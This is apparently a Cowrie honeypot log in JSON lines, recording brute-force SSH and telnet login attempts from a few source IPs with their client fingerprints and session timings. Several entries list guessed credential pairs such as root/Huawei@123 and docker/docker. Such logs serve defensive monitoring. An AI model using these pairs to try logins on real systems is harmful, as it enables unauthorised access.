{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:19.880788Z","src_ip":"192.109.200.237","session":"53cc08429504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44358,"dst_ip":"159.203.135.109","dst_port":22,"session":"211a819a2aa8","protocol":"ssh","message":"New connection: 192.109.200.237:44358 (159.203.135.109:22) [session: 211a819a2aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:21.776972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:21.782484Z","src_ip":"192.109.200.237","session":"211a819a2aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:21.865285Z","src_ip":"192.109.200.237","session":"211a819a2aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:22.228237Z","src_ip":"192.109.200.237","session":"211a819a2aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:23.313930Z","src_ip":"192.109.200.237","session":"211a819a2aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"1044bac8488a","protocol":"ssh","message":"New connection: 192.109.200.237:44382 (159.203.135.109:22) [session: 1044bac8488a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.244764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.255945Z","src_ip":"192.109.200.237","session":"1044bac8488a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49468,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b760adbc28","protocol":"telnet","message":"New connection: 152.42.224.71:49468 (10.17.0.5:23) [session: c5b760adbc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.279775Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.341691Z","src_ip":"192.109.200.237","session":"1044bac8488a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.594839Z","src_ip":"192.109.200.237","session":"1044bac8488a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49334,"dst_ip":"159.203.135.109","dst_port":22,"session":"793ef6e00802","protocol":"ssh","message":"New connection: 46.19.67.181:49334 (159.203.135.109:22) [session: 793ef6e00802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.753272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.757777Z","src_ip":"46.19.67.181","session":"793ef6e00802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:25.875149Z","src_ip":"46.19.67.181","session":"793ef6e00802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rktjgfnhf","message":"login attempt [root/rktjgfnhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:26.226679Z","src_ip":"46.19.67.181","session":"793ef6e00802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00378394126892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:26.292598Z","src_ip":"152.42.224.71","session":"ee5f74c8b0dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:26.681993Z","src_ip":"192.109.200.237","session":"1044bac8488a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:27.347494Z","src_ip":"46.19.67.181","session":"793ef6e00802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44398,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8e98d7a2eae","protocol":"ssh","message":"New connection: 192.109.200.237:44398 (159.203.135.109:22) [session: c8e98d7a2eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:28.574330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:28.579948Z","src_ip":"192.109.200.237","session":"c8e98d7a2eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:28.662300Z","src_ip":"192.109.200.237","session":"c8e98d7a2eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:28.909104Z","src_ip":"192.109.200.237","session":"c8e98d7a2eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:29.995448Z","src_ip":"192.109.200.237","session":"c8e98d7a2eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45304,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a4912903c6b","protocol":"ssh","message":"New connection: 192.109.200.237:45304 (159.203.135.109:22) [session: 3a4912903c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:31.879106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:31.884979Z","src_ip":"192.109.200.237","session":"3a4912903c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:31.968242Z","src_ip":"192.109.200.237","session":"3a4912903c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:32.223264Z","src_ip":"192.109.200.237","session":"3a4912903c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00103616714478,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:33.249091Z","src_ip":"152.42.224.71","session":"f3980a46481a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:33.308731Z","src_ip":"192.109.200.237","session":"3a4912903c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45318,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b0733309017","protocol":"ssh","message":"New connection: 192.109.200.237:45318 (159.203.135.109:22) [session: 6b0733309017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:35.443983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:35.449150Z","src_ip":"192.109.200.237","session":"6b0733309017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:35.532280Z","src_ip":"192.109.200.237","session":"6b0733309017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:35.782299Z","src_ip":"192.109.200.237","session":"6b0733309017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:36.870817Z","src_ip":"192.109.200.237","session":"6b0733309017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f950262929","protocol":"telnet","message":"New connection: 152.42.224.71:59816 (10.17.0.5:23) [session: 65f950262929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:37.559936Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59830,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcea8ee0358d","protocol":"telnet","message":"New connection: 152.42.224.71:59830 (10.17.0.5:23) [session: bcea8ee0358d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:38.564104Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45336,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb5720097d11","protocol":"ssh","message":"New connection: 192.109.200.237:45336 (159.203.135.109:22) [session: cb5720097d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:38.776782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:38.781828Z","src_ip":"192.109.200.237","session":"cb5720097d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:38.868212Z","src_ip":"192.109.200.237","session":"cb5720097d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:39.118584Z","src_ip":"192.109.200.237","session":"cb5720097d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019428730011,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:39.795187Z","src_ip":"152.42.224.71","session":"725ee0d73cc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:40.203786Z","src_ip":"192.109.200.237","session":"cb5720097d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46564,"dst_ip":"159.203.135.109","dst_port":22,"session":"f44bf5bab49c","protocol":"ssh","message":"New connection: 192.109.200.237:46564 (159.203.135.109:22) [session: f44bf5bab49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:42.120681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:42.125662Z","src_ip":"192.109.200.237","session":"f44bf5bab49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:42.208297Z","src_ip":"192.109.200.237","session":"f44bf5bab49c","protocol":"ssh"}
